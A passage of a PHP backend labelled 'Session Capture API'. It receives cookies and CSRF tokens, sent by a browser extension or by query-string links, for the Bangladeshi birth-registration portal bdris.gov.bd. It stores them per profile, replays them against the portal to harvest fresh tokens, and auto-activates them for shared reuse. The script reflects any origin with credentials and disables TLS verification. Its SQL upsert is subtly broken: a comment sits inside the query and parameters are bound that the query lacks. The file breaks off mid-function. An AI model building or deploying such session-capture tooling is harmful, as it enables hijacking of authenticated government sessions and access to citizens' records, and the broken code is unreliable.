<?php
ob_start(); // Start output buffering to catch any unwanted output
$origin = isset($_SERVER['HTTP_ORIGIN']) ? trim((string)$_SERVER['HTTP_ORIGIN']) : '';
$allowCreds = false;
if ($origin !== '' && strtolower($origin) !== 'null') {
    header("Access-Control-Allow-Origin: " . $origin);
    header("Vary: Origin");
    $allowCreds = true;
} else {
    header("Access-Control-Allow-Origin: *");
}

header("Access-Control-Allow-Methods: GET, POST, OPTIONS");
if ($allowCreds) {
    header("Access-Control-Allow-Credentials: true");
}
$reqHeaders = isset($_SERVER['HTTP_ACCESS_CONTROL_REQUEST_HEADERS']) ? trim((string)$_SERVER['HTTP_ACCESS_CONTROL_REQUEST_HEADERS']) : '';
if ($reqHeaders !== '') {
    header("Access-Control-Allow-Headers: " . $reqHeaders);
} else {
    header("Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With, X-CSRF-TOKEN, X-XSRF-TOKEN, XSRF-TOKEN, sender_name, sender-name, deviceName, device_name, device-name, userAgent, user_agent, profile");
}
header("Access-Control-Max-Age: 600");

// Check Master Switch
    $captureStatusFile = '../includes/capture_status.json';
    $captureEnabled = 1;
    if (file_exists($captureStatusFile)) {
        $statusData = json_decode(file_get_contents($captureStatusFile), true);
        if (isset($statusData['status']) && $statusData['status'] == 0) {
            $captureEnabled = 0;
        }
    }

    if (!$captureEnabled) {
        if ($_SERVER['REQUEST_METHOD'] === 'GET') {
             die('System is currently OFF. Please enable it from Session Manager.');
        }
        sendJson(['status' => 'error', 'message' => 'System is currently OFF']);
        exit;
    }

// Debug Logging
function debugLogPath(): string {
    $home = (string)getenv('HOME');
    if ($home !== '') {
        $p = rtrim($home, '/') . '/logs/save-session-debug.log';
        $dir = dirname($p);
        if (is_dir($dir) && is_writable($dir)) return $p;
    }
    $fallbackDir = dirname(__DIR__) . '/cookies';
    if (!is_dir($fallbackDir)) @mkdir($fallbackDir, 0755, true);
    return $fallbackDir . '/save-session-debug.log';
}

function logDebug(string $msg): void {
    $msg = trim((string)$msg);
    if ($msg === '') return;
    
    // Keep false in production to prevent log ballooning; critical events are always logged.
    $enableFullDebug = false; 
    
    $isCritical = (
        stripos($msg, 'fail') !== false || 
        stripos($msg, 'error') !== false || 
        stripos($msg, 'exception') !== false || 
        stripos($msg, 'activate') !== false || // Log when a profile gets activated
        stripos($msg, 'saved id=') !== false   // Log when a new session is saved
    );
    
    if (!$enableFullDebug && !$isCritical) {
        return;
    }
    
    $lp = debugLogPath();
    if (@file_exists($lp) && @filesize($lp) > 5242880) {
        $lines = @file($lp);
        if (is_array($lines) && count($lines) > 1000) {
            @file_put_contents($lp, implode("", array_slice($lines, -1000)), LOCK_EX);
        }
    }
    $line = gmdate('c') . ' ' . $msg . "\n";
    @file_put_contents($lp, $line, FILE_APPEND | LOCK_EX);
}

// Clean buffer before sending JSON
function sendJson(array $data, int $code = 200): void {
    ob_clean(); // Discard any previous output (warnings, etc)
    header('Content-Type: application/json');
    http_response_code($code);
    echo json_encode($data, JSON_UNESCAPED_SLASHES);
    exit;
}

function normalizeCookieString(string $cookieString): string {
    $cookieString = trim((string)$cookieString);
    if ($cookieString === '') return '';
    if (stripos($cookieString, 'cookie:') === 0) {
        $cookieString = trim(substr($cookieString, 7));
    }
    $cookieString = preg_replace('/[\r\n\t\s]+/', ' ', $cookieString);
    $cookieString = trim((string)$cookieString);
    $cookieString = rtrim($cookieString, ';');
    $parts = explode(';', $cookieString);
    $clean = [];
    foreach ($parts as $part) {
        $p = trim((string)$part);
        if ($p !== '') $clean[] = $p;
    }
    $cookieString = implode('; ', $clean);
    $cookieString = preg_replace('/\s+/', ' ', $cookieString);
    return trim((string)$cookieString);
}

function cleanupCookieHeader(string $cookieString): string {
    $cookieString = normalizeCookieString($cookieString);
    if ($cookieString === '') return '';

    $ignore = [
        'path' => true,
        'domain' => true,
        'expires' => true,
        'max-age' => true,
        'samesite' => true,
        'secure' => true,
        'httponly' => true,
        'priority' => true,
        'version' => true,
    ];

    $pairs = explode(';', $cookieString);
    $map = [];
    $order = [];

    foreach ($pairs as $p0) {
        $p = trim((string)$p0);
        if ($p === '') continue;

        $eq = strpos($p, '=');
        if ($eq === false) {
            $lk = strtolower($p);
            if (isset($ignore[$lk])) continue;
            continue;
        }
        if ($eq <= 0) continue;

        $k = trim(substr($p, 0, $eq));
        if ($k === '') continue;
        $lk = strtolower($k);
        if (isset($ignore[$lk])) continue;

        $v = trim(substr($p, $eq + 1));
        if (!array_key_exists($lk, $map)) $order[] = $lk;
        $map[$lk] = [$k, $v];
    }

    $out = [];
    foreach ($order as $lk) {
        if (!isset($map[$lk])) continue;
        $out[] = $map[$lk][0] . '=' . $map[$lk][1];
    }
    return normalizeCookieString(implode('; ', $out));
}

function looksNetscapeCookieFile(string $raw): bool {
    $s = trim($raw);
    if ($s === '') return false;
    if (stripos($s, '# Netscape HTTP Cookie File') !== false) return true;
    if (strpos($s, "\t") === false || (strpos($s, "\n") === false && strpos($s, "\r") === false)) return false;
    $lines = preg_split("/\r\n|\n|\r/", $s) ?: [];
    $checked = 0;
    foreach ($lines as $line) {
        $line = trim((string)$line);
        if ($line === '') continue;
        $checked++;
        if ($checked > 40) break;
        if ($line[0] === '#') continue;
        if (substr_count($line, "\t") >= 6) return true;
    }
    return false;
}

function netscapeCookieTextToCookieString(string $raw, string $domain): string {
    $domain = strtolower(trim($domain));
    if ($domain === '') return '';
    $lines = preg_split("/\r\n|\n|\r/", (string)$raw) ?: [];
    $map = [];
    foreach ($lines as $line) {
        $line = trim((string)$line);
        if ($line === '') continue;
        if ($line[0] === '#') {
            if (stripos($line, '#HttpOnly_') === 0) {
                $line = substr($line, 9);
            } else {
                continue;
            }
        }
        $parts = preg_split('/\t+/', $line) ?: [];
        if (count($parts) < 7) continue;
        $d = strtolower(trim((string)$parts[0]));
        if ($d === '') continue;
        $ok = ($d === $domain)
            || (str_starts_with($d, '.') && str_ends_with($domain, $d))
            || str_ends_with($domain, '.' . ltrim($d, '.'));
        if (!$ok) continue;
        $name = trim((string)$parts[5]);
        $val = count($parts) === 7 ? (string)$parts[6] : implode(' ', array_slice($parts, 6));
        $val = trim((string)$val);
        if ($name === '' || $val === '') continue;
        if (!isset($map[$name])) $map[$name] = $val;
    }
    if (!$map) return '';
    $pairs = [];
    foreach ($map as $k => $v) $pairs[] = $k . '=' . $v;
    return implode('; ', $pairs);
}

function bootstrapCsrfFromBdrisAdmin(string $cookieString, string $userAgent): array {
    $cookieString = trim((string)$cookieString);
    if ($cookieString === '') return [null, null, null, 'http_error', $cookieString];
    $userAgent = trim((string)$userAgent);
    if ($userAgent === '') $userAgent = 'Mozilla/5.0';

    $headersBuf = '';
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => 'https://bdris.gov.bd/br/application',
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_ENCODING => '',
        CURLOPT_CONNECTTIMEOUT => 10,
        CURLOPT_TIMEOUT => 12,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
        CURLOPT_COOKIE => $cookieString,
        CURLOPT_HEADERFUNCTION => static function ($ch, string $header) use (&$headersBuf) {
            $headersBuf .= $header;
            return strlen($header);
        },
        CURLOPT_HTTPHEADER => [
            'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'User-Agent: ' . $userAgent,
            'Referer: https://bdris.gov.bd/br/application',
            'Origin: https://bdris.gov.bd',
            'Connection: close'
        ],
    ]);
    $resp = curl_exec($ch);
    $status = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $eff = (string)curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);
    // curl_close($ch); // Deprecated in PHP 8.5+ and auto-closed by garbage collector
    $html = is_string($resp) ? $resp : '';
    $headersRaw = (string)$headersBuf;
    if ($html === '' && $headersRaw === '') return [null, null, $status, 'http_error', $cookieString];

    $hint = 'unknown';
    if ($status !== 200 && $status !== 302) $hint = 'http_error';
    if (stripos($html, 'requested url was rejected') !== false || stripos($html, 'access denied') !== false) $hint = 'blocked';
    $isLogin =
        stripos($html, 'login-page') !== false ||
        stripos($html, '<title>login</title>') !== false ||
        (is_string($eff) && $eff !== '' && stripos($eff, 'login') !== false);
    if ($isLogin) $hint = 'expired';
    if ($hint === 'unknown' && ($status === 200 || $status === 302) && !$isLogin) $hint = 'active';

    $csrf = null;
    $hdr = '';

    $xsrfCookie = '';
    $reqVerCookie = '';
    $aspNetCookie = '';
    if ($headersRaw !== '') {
        if (preg_match_all('/^Set-Cookie:\\s*([A-Za-z0-9_\\-]+)=([^;\\r\\n]*)/mi', $headersRaw, $m, PREG_SET_ORDER)) {
            foreach ($m as $row) {
                $name = strtolower(trim((string)($row[1] ?? '')));
                $val = (string)($row[2] ?? '');
                if ($name === 'xsrf-token' || $name === 'csrf-token' || $name === 'x-xsrf-token') $xsrfCookie = $val;
                if ($name === '__requestverificationtoken' || $name === 'requestverificationtoken') $reqVerCookie = $val;
                if ($name === 'asp.net_sessionid') $aspNetCookie = $val;
            }
        }
    }

    if (preg_match('/<meta\\s+name=[\"\\\']_csrf_headerName[\"\\\']\\s+content=[\"\\\']([^\"\\\']+)[\"\\\']\\s*\\/?\\s*>/i', $html, $m)) {
        $hdr = trim((string)$m[1]);
    }
    if (preg_match('/<meta\\s+name=[\"\\\']_csrf[\"\\\']\\s+content=[\"\\\']([^\"\\\']+)[\"\\\']\\s*\\/?\\s*>/i', $html, $m2)) {
        $tok = trim((string)$m2[1]);
        if ($tok !== '') $csrf = $tok;
    }

    $reqVerInput = '';
    if ($reqVerCookie === '' && preg_match('/name=[\"\\\']__RequestVerificationToken[\"\\\']\\s+type=[\"\\\']hidden[\"\\\']\\s+value=[\"\\\']([^\"\\\']+)[\"\\\']/i', $html, $m3)) {
        $reqVerInput = trim((string)$m3[1]);
    }

    $updatedCookie = $cookieString;
    if ($aspNetCookie !== '' && stripos($updatedCookie, 'ASP.NET_SessionId=') === false) {
        $updatedCookie = rtrim($updatedCookie, '; ');
        $updatedCookie .= '; ASP.NET_SessionId=' . $aspNetCookie;
    }
    if ($xsrfCookie !== '' && stripos($updatedCookie, 'XSRF-TOKEN=') === false) {
        $updatedCookie = rtrim($updatedCookie, '; ');
        $updatedCookie .= '; XSRF-TOKEN=' . $xsrfCookie;
    }
    $reqTokRaw = $reqVerCookie !== '' ? $reqVerCookie : $reqVerInput;
    if ($reqTokRaw !== '' && stripos($updatedCookie, '__RequestVerificationToken=') === false && stripos($updatedCookie, 'RequestVerificationToken=') === false) {
        $updatedCookie = rtrim($updatedCookie, '; ');
        $updatedCookie .= '; __RequestVerificationToken=' . $reqTokRaw;
    }
    $updatedCookie = preg_replace('/\\s+/', ' ', (string)$updatedCookie);

    if ($csrf !== null && trim((string)$csrf) !== '') {
        if ($hdr === '') $hdr = 'X-CSRF-TOKEN';
        if ($hint === 'unknown') $hint = 'active';
        return [$csrf, $hdr, $status, $hint, $updatedCookie];
    }
    if ($xsrfCookie !== '') {
        if ($hdr === '') $hdr = 'X-XSRF-TOKEN';
        if ($hint === 'unknown') $hint = 'active';
        $dec = rawurldecode($xsrfCookie);
        return [$dec !== '' ? $dec : $xsrfCookie, $hdr, $status, $hint, $updatedCookie];
    }
    if ($reqTokRaw !== '') {
        if ($hdr === '') $hdr = 'RequestVerificationToken';
        if ($hint === 'unknown') $hint = 'active';
        $dec = rawurldecode($reqTokRaw);
        return [$dec !== '' ? $dec : $reqTokRaw, $hdr, $status, $hint, $updatedCookie];
    }

    return [null, $hdr !== '' ? $hdr : null, $status, $hint, $updatedCookie];
}

require_once dirname(__DIR__) . '/db_connect.php';

function ensureSessionTables($pdo): void {
    if (!$pdo) return;
    $pdo->exec("CREATE TABLE IF NOT EXISTS bdris_sessions (
        id BIGINT UNSIGNED NOT NULL AUTO_INCREMENT,
        profile VARCHAR(64) NOT NULL,
        sender_name VARCHAR(191) NOT NULL DEFAULT '',
        sender_ip VARCHAR(64) NOT NULL DEFAULT '',
        sender_ts INT UNSIGNED NOT NULL DEFAULT 0,
        sender_tz_offset SMALLINT NOT NULL DEFAULT 0,
        cookie_string MEDIUMTEXT NULL,
        cookie_string_main MEDIUMTEXT NULL,
        cookie_string_all MEDIUMTEXT NULL,
        csrf_token MEDIUMTEXT NULL,
        csrf_header VARCHAR(64) NOT NULL DEFAULT '',
        user_agent MEDIUMTEXT NULL,
        accept_language VARCHAR(64) NOT NULL DEFAULT '',
        cookies_json MEDIUMTEXT NULL,
        updated_at INT UNSIGNED NOT NULL DEFAULT 0,
        last_status VARCHAR(16) NOT NULL DEFAULT 'active',
        last_status_checked INT UNSIGNED NOT NULL DEFAULT 0,
        created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
        PRIMARY KEY (id),
        UNIQUE KEY uq_profile (profile),
        KEY idx_updated_at (updated_at)
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci");

    try { $pdo->exec("ALTER TABLE bdris_sessions ADD COLUMN last_status_checked INT UNSIGNED NOT NULL DEFAULT 0"); } catch (\Throwable $e) {}
    try { $pdo->exec("ALTER TABLE bdris_sessions ADD COLUMN accept_language VARCHAR(64) NOT NULL DEFAULT ''"); } catch (\Throwable $e) {}
    try { $pdo->exec("ALTER TABLE bdris_sessions ADD COLUMN cookie_string_main MEDIUMTEXT NULL"); } catch (\Throwable $e) {}
    try { $pdo->exec("ALTER TABLE bdris_sessions ADD COLUMN cookie_string_all MEDIUMTEXT NULL"); } catch (\Throwable $e) {}
    try { $pdo->exec("ALTER TABLE bdris_sessions ADD COLUMN csrf_header VARCHAR(64) NOT NULL DEFAULT ''"); } catch (\Throwable $e) {}
    try { $pdo->exec("ALTER TABLE bdris_sessions ADD COLUMN cookies_json MEDIUMTEXT NULL"); } catch (\Throwable $e) {}
    try { $pdo->exec("ALTER TABLE bdris_sessions ADD COLUMN sender_ip VARCHAR(64) NOT NULL DEFAULT ''"); } catch (\Throwable $e) {}
    try { $pdo->exec("ALTER TABLE bdris_sessions ADD COLUMN sender_ts INT UNSIGNED NOT NULL DEFAULT 0"); } catch (\Throwable $e) {}
    try { $pdo->exec("ALTER TABLE bdris_sessions ADD COLUMN sender_tz_offset SMALLINT NOT NULL DEFAULT 0"); } catch (\Throwable $e) {}
    try { $pdo->exec("ALTER TABLE bdris_sessions ADD COLUMN ext_version VARCHAR(32) NOT NULL DEFAULT ''"); } catch (\Throwable $e) {}

    $pdo->exec("CREATE TABLE IF NOT EXISTS bdris_session_kv (
        id BIGINT UNSIGNED NOT NULL AUTO_INCREMENT,
        profile VARCHAR(64) NOT NULL,
        category VARCHAR(32) NOT NULL DEFAULT 'meta',
        k VARCHAR(191) NOT NULL,
        v MEDIUMTEXT NULL,
        updated_at INT UNSIGNED NOT NULL DEFAULT 0,
        created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
        PRIMARY KEY (id),
        UNIQUE KEY uq_profile_k (profile, k),
        KEY idx_profile (profile),
        KEY idx_category (category),
        KEY idx_updated_at (updated_at)
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci");
}

function upsertSessionToDb($pdo, array $row, array $kvRows): void {
    if (!$pdo) return;
    ensureSessionTables($pdo);

    $sql = "INSERT INTO bdris_sessions
        (profile, sender_name, sender_ip, sender_ts, sender_tz_offset, cookie_string, cookie_string_main, cookie_string_all, csrf_token, csrf_header, user_agent, accept_language, cookies_json, updated_at, last_status, last_status_checked, ext_version)
        VALUES
        (:profile, :sender_name, :sender_ip, :sender_ts, :sender_tz_offset, :cookie_string, :cookie_string_main, :cookie_string_all, :csrf_token, :csrf_header, :user_agent, :accept_language, :cookies_json, :updated_at, :last_status, :last_status_checked, :ext_version)
        ON DUPLICATE KEY UPDATE
        // UPSERT_DEVICE_PATCH_v3
        sender_name=VALUES(sender_name),
        sender_ip=VALUES(sender_ip),
        sender_ts=VALUES(sender_ts),
        sender_tz_offset=VALUES(sender_tz_offset),
        cookie_string=VALUES(cookie_string),
        cookie_string_main=VALUES(cookie_string_main),
        cookie_string_all=VALUES(cookie_string_all),
        csrf_token=VALUES(csrf_token),
        csrf_header=VALUES(csrf_header),
        user_agent=VALUES(user_agent),
        accept_language=VALUES(accept_language),
        cookies_json=VALUES(cookies_json),
        updated_at=VALUES(updated_at),
        last_status=VALUES(last_status),
        last_status_checked=VALUES(last_status_checked),
        ext_version=VALUES(ext_version)";
    $stmt = $pdo->prepare($sql);
    $stmt->execute([
        ':profile' => (string)($row['profile'] ?? ''),
        ':device_id' => (string)($row['device_id'] ?? ''),
        ':session_fingerprint' => (string)($row['session_fingerprint'] ?? ''),
        ':inserted_at' => (int)($row['inserted_at'] ?? $row['updated_at'] ?? time()),
        ':sender_name' => (string)($row['sender_name'] ?? ''),
        ':sender_ip' => (string)($row['sender_ip'] ?? ''),
        ':sender_ts' => (int)($row['sender_ts'] ?? 0),
        ':sender_tz_offset' => (int)($row['sender_tz_offset'] ?? 0),
        ':cookie_string' => $row['cookie_string'] ?? null,
        ':cookie_string_main' => $row['cookie_string_main'] ?? null,
        ':cookie_string_all' => $row['cookie_string_all'] ?? null,
        ':csrf_token' => $row['csrf_token'] ?? null,
        ':csrf_header' => (string)($row['csrf_header'] ?? ''),
        ':user_agent' => $row['user_agent'] ?? null,
        ':accept_language' => (string)($row['accept_language'] ?? ''),
        ':cookies_json' => $row['cookies_json'] ?? null,
        ':updated_at' => (int)($row['updated_at'] ?? 0),
        ':last_status' => (string)($row['last_status'] ?? 'active'),
        ':last_status_checked' => (int)($row['last_status_checked'] ?? 0),
        ':ext_version' => (string)($row['ext_version'] ?? ''),
    ]);

    if (!empty($kvRows)) {
        $stmt2 = $pdo->prepare("INSERT INTO bdris_session_kv (profile, category, k, v, updated_at)
            VALUES (:profile, :category, :k, :v, :updated_at)
            ON DUPLICATE KEY UPDATE category=VALUES(category), v=VALUES(v), updated_at=VALUES(updated_at)");
        foreach ($kvRows as $r) {
            if (!is_array($r)) continue;
            $k = isset($r['k']) ? (string)$r['k'] : '';
            if ($k === '') continue;
            $stmt2->execute([
                ':profile' => (string)($row['profile'] ?? ''),
                ':category' => (string)($r['category'] ?? 'meta'),
                ':k' => $k,
                ':v' => isset($r['v']) ? (string)$r['v'] : null,
                ':updated_at' => (int)($row['updated_at'] ?? 0),
            ]);
        }
    }
}

// NOTE: cleanupOldSessionsAndActivate এর পরিবর্তে autoActivateIfNone ব্যবহার করা হচ্ছে
// যাতে অন্য PC-এর session কার্ড delete না হয়
function autoActivateIfNone(string $profile, string $cookiesDir, $pdo, string $cookieString): void {
    if ($profile === '' || $profile === 'default') return;
    
    $activeProfileFile = $cookiesDir . "/active_profile.txt";
    $baseDir = dirname($cookiesDir);
    
    $currentActive = file_exists($activeProfileFile) ? trim((string)@file_get_contents($activeProfileFile)) : '';
    
    // Auto-activate if no active profile, or if THIS is the active profile
    if ($currentActive === '' || $currentActive === $profile) {
        @file_put_contents($activeProfileFile, $profile);
        @file_put_contents($baseDir . "/bdris_cookie.txt", $cookieString);
        logDebug("auto_activate profile={$profile} cookie_len=" . strlen($cookieString));
    } else {
        logDebug("saved_inactive profile={$profile} current_active={$currentActive}");
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(204);
    exit;
}

$cookieString = '';
$extraHeaders = [];
$csrfToken = null;
$csrfHeader = '';
$cookieStringMain = '';
$cookieStringAll = '';
$cookiesJson = null;
$acceptLanguage = null;
$userAgent = null;
$profile = 'default';

$extractCookieValue = function(string $cookieString, array $names): string {
    $parts = explode(';', $cookieString);
    foreach ($parts as $p0) {
        $p = trim((string)$p0);
        if ($p === '') continue;
        $eq = strpos($p, '=');
        if ($eq === false || $eq <= 0) continue;
        $k = trim(substr($p, 0, $eq));
        $v = trim(substr($p, $eq + 1));
        foreach ($names as $n) {
            if (strcasecmp($k, (string)$n) === 0) {
                $decoded = rawurldecode($v);
                return $decoded !== '' ? $decoded : $v;
            }
        }
    }
    return '';
};

// Check for profile in GET
if (isset($_GET['profile'])) {
    $profile = preg_replace('/[^a-zA-Z0-9_-]/', '', $_GET['profile']);
}

// Handle GET requests (Manual Link)
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    if (isset($_GET['cookies'])) {
        $cookieString = (string)$_GET['cookies'];
        if (looksNetscapeCookieFile($cookieString)) {
            $cookieString = netscapeCookieTextToCookieString($cookieString, 'bdris.gov.bd');
        }
        $cookieString = normalizeCookieString((string)$cookieString);
    }
    if (isset($_GET['csrf_token'])) {
        $csrfToken = $_GET['csrf_token'];
    }
    
    // Capture User-Agent from the request
    $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? null;
    
    if (!isset($_GET['profile']) || $profile === '' || $profile === 'default') {
        $profile = 'manual_' . substr(md5((string)$userAgent), 0, 8);
    }
    $profile = preg_replace('/[^a-zA-Z0-9_-]/', '', $profile);
    if ($profile === '') $profile = 'default';
    
    if (!empty($cookieString)) {
        $cookiesDir = dirname(__DIR__) . '/cookies';
        if (!is_dir($cookiesDir)) {
            @mkdir($cookiesDir, 0755, true);
        }
        $cookieFile = $cookiesDir . "/cookie_data_{$profile}.json";
        $prev = null;
        if (file_exists($cookieFile)) {
            $prev = json_decode((string)file_get_contents($cookieFile), true);
            if (!is_array($prev)) $prev = null;
        }
        $now = time();
        $prevCookie = is_array($prev) ? normalizeCookieString((string)($prev['cookie_string'] ?? '')) : '';
        $prevCsrf = is_array($prev) ? ($prev['csrf_token'] ?? null) : null;
        $prevUa = is_array($prev) ? (string)($prev['user_agent'] ?? '') : '';
        $prevUpdated = is_array($prev) ? (int)($prev['updated_at'] ?? 0) : 0;
        $sameCookie = ($prevCookie !== '' && $prevCookie === normalizeCookieString((string)$cookieString));
        $sameCsrf = ((string)($prevCsrf ?? '') === (string)($csrfToken ?? ''));
        $sameUa = ((string)$prevUa === (string)($userAgent ?? ''));
        if ($sameCookie && $sameCsrf && $sameUa && $prevUpdated > 0 && ($now - $prevUpdated) < 60) {
            $host = (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');
            $scheme = 'https';
            $base = rtrim(dirname(dirname($_SERVER['PHP_SELF'])), '/');
            $dashboardUrl = $scheme . '://' . $host . $base . '/session-manager.php';
            header('Location: ' . $dashboardUrl);
            exit;
        }

        $data = is_array($prev) ? $prev : [];
        $data['cookie_string'] = normalizeCookieString((string)$cookieString);
        $data['extra_headers'] = $extraHeaders ?? [];
        $data['csrf_token'] = (($csrfToken === null || $csrfToken === '') ? null : (string)$csrfToken);
        $data['user_agent'] = $userAgent ?: 'Unknown Browser';
        $data['accept_language'] = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? (string)$_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';
        $data['csrf_header'] = $data['csrf_header'] ?? '';
        $data['sender_name'] = $data['sender_name'] ?? 'Manual Link';
        $data['browser_name'] = $profile;
        $data['updated_at'] = $now;
        $data['last_status'] = $data['last_status'] ?? 'active';
        file_put_contents($cookieFile, json_encode($data, JSON_UNESCAPED_SLASHES), LOCK_EX);
        try {
            $row = [
                'profile' => $profile,
                'sender_name' => (string)($data['sender_name'] ?? ''),
                'cookie_string' => (string)($data['cookie_string'] ?? ''),
                'cookie_string_main' => $data['cookie_string_main'] ?? null,
                'cookie_string_all' => $data['cookie_string_all'] ?? null,
                'csrf_token' => $data['csrf_token'] ?? null,
                'csrf_header' => (string)($data['csrf_header'] ?? ''),
                'user_agent' => $data['user_agent'] ?? null,
                'accept_language' => (string)($data['accept_language'] ?? ''),
                'cookies_json' => $data['cookies_json'] ?? null,
                'updated_at' => (int)$now,
                'last_status' => (string)($data['last_status'] ?? 'active')
            ];
            $kvRows = [];
            $kvRows[] = ['category' => 'session', 'k' => 'cookie_string', 'v' => (string)($row['cookie_string'] ?? '')];
            if (!empty($row['csrf_token'])) $kvRows[] = ['category' => 'token', 'k' => 'csrf_token', 'v' => (string)$row['csrf_token']];
            if (!empty($row['user_agent'])) $kvRows[] = ['category' => 'header', 'k' => 'user_agent', 'v' => (string)$row['user_agent']];
            if (!empty($row['accept_language'])) $kvRows[] = ['category' => 'header', 'k' => 'accept_language', 'v' => (string)$row['accept_language']];
            upsertSessionToDb(isset($pdo) ? $pdo : null, $row, $kvRows);
            // Auto-activate: if no active profile, or active profile is dead (>30m), activate this one
            $activeProfileFile = $cookiesDir . "/active_profile.txt";
            $currentActive = file_exists($activeProfileFile) ? trim((string)@file_get_contents($activeProfileFile)) : '';
            $shouldAutoActivate = false;
            if ($currentActive === '' || $currentActive === 'default' || $currentActive === $profile) {
                $shouldAutoActivate = true;
            } else {
                $actFile = $cookiesDir . "/cookie_data_{$currentActive}.json";
                if (!file_exists($actFile)) {
                    $shouldAutoActivate = true;
                } else {
                    $actD = @json_decode((string)@file_get_contents($actFile), true);
                    $actAge = time() - (int)($actD['updated_at'] ?? 0);
                    if ($actAge > 1800) { // older than 30 mins -> auto activate fresh one
                        $shouldAutoActivate = true;
                    }
                }
            }
            if ($shouldAutoActivate) {
                @file_put_contents($activeProfileFile, $profile);
                @file_put_contents(dirname($cookiesDir) . "/bdris_cookie.txt", $data['cookie_string']);
                if (!empty($data['csrf_token'])) {
                    @file_put_contents(dirname($cookiesDir) . "/bdris_csrf.txt", $data['csrf_token']);
                }
                logDebug("auto_active profile={$profile} cookie_len=" . strlen($data['cookie_string']));
            }
        } catch (\Throwable $e) {
        }
        
        $host = (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');
        $scheme = 'https';
        $base = rtrim(dirname(dirname($_SERVER['PHP_SELF'])), '/');
        $dashboardUrl = $scheme . '://' . $host . $base . '/session-manager.php';
        header('Location: ' . $dashboardUrl);
        exit;
    }
    
    // Show friendly message for GET request without cookies
    header('Content-Type: text/html');
    echo '<!DOCTYPE html>
    <html>
    <head>
        <title>Session Capture API</title>
        <style>
            body { font-family: sans-serif; text-align: center; padding: 50px; background: #f0f2f5; }
            .container { background: white; padding: 30px; border-radius: 10px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); max-width: 500px; margin: 0 auto; }
            h1 { color: #333; }
            p { color: #666; }
            code { background: #eee; padding: 2px 5px; border-radius: 3px; }
            .status { margin-top: 20px; padding: 10px; border-radius: 5px; }
            .status.ok { background: #d4edda; color: #155724; }
        </style>
    </head>
    <body>
        <div class="container">
            <h1>Session Capture API</h1>
            <div class="status ok">
                ✅ <strong>System Online</strong><br>
                Ready to receive cookies from extension.
            </div>
            <p style="margin-top: 20px;">Please use the browser extension to send data here.</p>
            <p><strong>Endpoint:</strong> <code>' . htmlspecialchars($_SERVER['PHP_SELF']) . '</code></p>
        </div>
    </body>
    </html>';
    exit;
}

// Read raw input
$rawInput = file_get_contents('php://input');
$rawInput = is_string($rawInput) ? $rawInput : '';
$rawInput = preg_replace('/^\xEF\xBB\xBF/', '', $rawInput);
$rawTrim = trim($rawInput);

$debugReqId = '';
try {
    $debugReqId = bin2hex(random_bytes(5));
} catch (\Throwable $e) {
    $debugReqId = substr(md5((string)microtime(true)), 0, 10);
}
$dbgIp = isset($_SERVER['REMOTE_ADDR']) ? (string)$_SERVER['REMOTE_ADDR'] : '';
$dbgUa = isset($_SERVER['HTTP_USER_AGENT']) ? (string)$_SERVER['HTTP_USER_AGENT'] : '';
$dbgOrigin = isset($_SERVER['HTTP_ORIGIN']) ? (string)$_SERVER['HTTP_ORIGIN'] : '';
$dbgCtype = isset($_SERVER['CONTENT_TYPE']) ? (string)$_SERVER['CONTENT_TYPE'] : (isset($_SERVER['HTTP_CONTENT_TYPE']) ? (string)$_SERVER['HTTP_CONTENT_TYPE'] : '');
logDebug("hit id={$debugReqId} method=" . (isset($_SERVER['REQUEST_METHOD']) ? (string)$_SERVER['REQUEST_METHOD'] : '') . " ip={$dbgIp} body_len=" . strlen($rawInput) . " ctype=" . trim($dbgCtype) . " origin=" . trim($dbgOrigin) . " ua=" . substr(preg_replace('/\\s+/', ' ', $dbgUa), 0, 160));

// Handle POST requests (JSON / Form)
$input = [];
if ($rawTrim !== '') {
    $input = json_decode($rawTrim, true);
    if (!is_array($input)) {
        $clean = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/', '', $rawTrim);
        $input = json_decode($clean, true);
    }
}
if (!is_array($input)) {
    logDebug("decode_fail id={$debugReqId} json_err=" . json_last_error() . " msg=" . json_last_error_msg());
} else {
    $keys = array_keys($input);
    $keys = array_values(array_filter(array_map(static fn($k) => is_string($k) ? $k : '', $keys)));
    sort($keys);
    logDebug("decode_ok id={$debugReqId} keys=" . implode(',', array_slice($keys, 0, 80)));
}

if ((!is_array($input) || empty($input)) && is_string($rawTrim) && $rawTrim !== '') {
    $extractJsonString = function(string $key) use ($rawTrim): string {
        $pattern = '/"' . preg_quote($key, '/') . '"\s*:\s*"((?:\\\\.|[^"\\\\])*)"/';
        if (preg_match($pattern, $rawTrim, $m)) {
            $v = '"' . $m[1] . '"';
            $decoded = json_decode($v, true);
            if (is_string($decoded)) return $decoded;
            return stripcslashes($m[1]);
        }
        return '';
    };
    $maybe = [];
    $cookieStr = $extractJsonString('cookie_string');
    if ($cookieStr === '') $cookieStr = $extractJsonString('cookieString');
    if ($cookieStr === '') $cookieStr = $extractJsonString('cookies');
    if ($cookieStr !== '') $maybe['cookie_string'] = $cookieStr;

    $profileVal = $extractJsonString('profile');
    if ($profileVal !== '') $maybe['profile'] = $profileVal;
    $senderVal = $extractJsonString('sender_name');
